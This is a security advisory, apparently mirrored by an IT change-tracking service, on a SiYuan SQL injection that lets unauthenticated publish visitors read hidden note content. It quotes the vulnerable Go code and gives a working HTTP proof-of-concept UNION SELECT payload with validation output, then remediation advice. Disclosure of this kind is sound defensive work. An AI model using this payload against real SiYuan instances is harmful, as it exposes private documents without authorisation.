Public mode

No access to your tenant or devices. Every item links to its source. What this means

Some sources or documents need attention: 275/275 feeds/APIs · 469/469 docs · 9/9 advisories · checked 02:09 UTC Customize Public modeDiscuss ChangeIntel on Discord

SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content

Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.

osv · GHSA-h89q-4j2h-7h88

Published

## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`. An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor. ## Affected Code The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths: ```go if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } ``` Source: `input/siyuan/kernel/api/search.go` `paths[]` is parsed into notebook IDs and paths without SQL escaping or validation: ```go path := p.(string) box := strings.TrimSpace(strings.Split(path, "/")[0]) if "" != box { boxes = append(boxes, box) } path = strings.TrimSpace(strings.TrimPrefix(path, box)) if "" != path { paths = append(paths, path) } ``` Source: `input/siyuan/kernel/api/search.go` Those values are then concatenated directly into SQL: ```go builder.WriteString(fmt.Sprintf("box = '%s'", box)) ``` ```go builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path)) ``` Source: `input/siyuan/kernel/model/search.go` Regexp search executes the resulting statement: ```go stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize) ``` Source: `input/siyuan/kernel/model/search.go` The read-only publish filter runs after SQL execution and trusts the returned row's `Box` and `Path`: ```go for _, block := range blocks { passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess) if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } } ``` Source: `input/siyuan/kernel/model/publish_access.go` ## Attack Scenario 1. A Siyuan instance enables the publish service. 2. At least one document is visible to publish visitors. 3. At least one document is hidden from publish visitors. 4. The attacker sends a crafted `paths[]` value to the publish service's `/api/search/fullTextSearchBlock` endpoint. 5. The injected SQL selects content from the hidden document while projecting the visible document's `box` and `path`. 6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path. ## Proof of Concept ```http POST /api/search/fullTextSearchBlock HTTP/1.1 Host: <publish-service-host> Content-Type: application/json { "query": "SECRET-LIVE-SQLI-20260609", "method": 3, "page": 1, "pageSize": 10, "paths": [ "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- " ] } ``` `VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read. ## Validation Setup: - Started `b3log/siyuan:latest` with an isolated temporary workspace. - Created one notebook. - Created a visible document containing `public apple marker`. - Created a hidden document containing `SECRET-LIVE-SQLI-20260609 apple marker`. - Marked the hidden document invisible with `POST /api/filetree/setPublishAccess`. - Enabled publish mode with `POST /api/setting/setPublish`. - Sent all exploit traffic through the publish service, which forwards requests with a reader-role token. Control request through the publish service for the hidden marker returned no blocks: ```json { "code": 0, "msg": "", "data": { "blocks": [], "docMode": false, "matchedBlockCount": 1, "matchedRootCount": 1, "pageCount": 1 } } ``` The injected request through the publish service returned the hidden block: ```json { "code": 0, "msg": "", "data": { "blocks": [ { "box": "20260609095146-19hud1e", "path": "/20260609095209-1ljs6o7.sy", "hPath": "/HiddenDoc", "id": "20260609095209-gttlrue", "rootID": "20260609095209-yaz7i3h", "parentID": "20260609095209-yaz7i3h", "content": "<mark>SECRET-LIVE-SQLI-20260609</mark> apple marker", "markdown": "SECRET-LIVE-SQLI-20260609 apple marker", "type": "NodeParagraph" } ], "docMode": false, "matchedBlockCount": 0, "matchedRootCount": 0, "pageCount": 0 } } ``` The returned row contains content from the hidden document, but its projected `box` and `path` point to the visible document. That is why the publish access filter accepts it. ## Impact An unauthenticated publish visitor can read hidden document block content from the `blocks` table. This bypasses Siyuan's publish visibility controls and exposes private note content that is not available through normal published document or search requests. ## Remediation Build notebook and path predicates with bound SQL parameters instead of string concatenation. For example: ```sql box = ? path LIKE ? ``` Then pass the user-controlled notebook ID and path prefix as query arguments. Additional hardening: - Validate notebook IDs before query construction. - Validate document paths against Siyuan's normalized `.sy` path format. - Apply publish visibility restrictions before or inside SQL execution, rather than relying only on post-query filtering of returned row projections. - Add regression tests for publish reader-role requests where `paths[]` contains SQL metacharacters such as `'`, `)`, `UNION`, and `--`.

Source published
2 Sep 2026 14:16:08 UTC
Source modified
10 Sep 2026 15:25:43 UTC
Observed here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Publisher rating · HIGH

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 8 Nov 02:09 UTC · 275 of 275 readable · 273 fully read · documentation 469/469 current